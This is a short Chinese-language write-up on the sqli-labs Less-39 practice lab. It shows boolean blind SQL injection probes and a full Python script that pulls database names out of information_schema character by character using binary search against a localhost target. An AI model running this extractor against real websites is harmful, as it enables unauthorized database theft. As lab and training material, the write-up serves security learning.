[sqli-labs]Less-39(Bool盲注)

这里union被过滤
双写不能绕过 , 大小写混写也不行 , 但是发现可以使用CHAR函数 , 可以利用这个函数对数据库进行注入
//TODO 如何使用CHAR拖库

---

其他思路 :
盲注验证 :

http://127.0.0.1/Less-39/?id=0|(1)
http://127.0.0.1/Less-39/?id=0|(0)

盲注脚本 :
还是以前的脚本 , 稍微改了改
// TODO 将脚本再改改 , 当查询所有的数据库名以后提示用户选择是否继续查询其他数据
// 或者直接就自动dump所有数据(可以过滤掉information_schema等系统数据库)

#!/usr/bin/env python
# encoding:utf8

import requests
import time
import sys

# config-start
sleep_time = 5
error_time = 1
# config-end

def getPayload(indexOfResult, indexOfChar, mid):
    column_name="schema_name"
    table_name="schemata"
    database_name="information_schema"
    startStr = "0|("
    endStr = ")"
    payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + "  limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")"
    payload = startStr + payload + endStr
    return payload

def exce(indexOfResult,indexOfChar,mid):
    # content-start
    url = "http://127.0.0.1/Less-39/?id="
    tempurl = url + getPayload(indexOfResult,indexOfChar,mid)
    content = requests.get(tempurl).text
    # content-end
    # judge-start
    if "Your Username is :" in content:
        return True
    else:
        return False
    # judge-end

def doubleSearch(indexOfResult,indexOfChar,left_number, right_number):
    while left_number < right_number:
        mid = int((left_number + right_number) / 2)
        if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)):
            left_number = mid
        else:
            right_number = mid
        if left_number == right_number - 1:
            if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)):
                mid += 1
                break
            else:
                break
    return chr(mid)

def search():
    for i in range(32): # 需要遍历的查询结果的数量
        counter = 0
        for j in range(32): # 结果的长度
            counter += 1
            temp = doubleSearch(i, j, 0, 128) # 从255开始查询
            if ord(temp) == 1: # 当为1的时候说明已经查询结束
                break
            sys.stdout.write(temp)
            sys.stdout.flush()
        if counter == 1: # 当结果集的所有行都被遍历后退出
            break
        sys.stdout.write("\r\n")
        sys.stdout.flush()

search()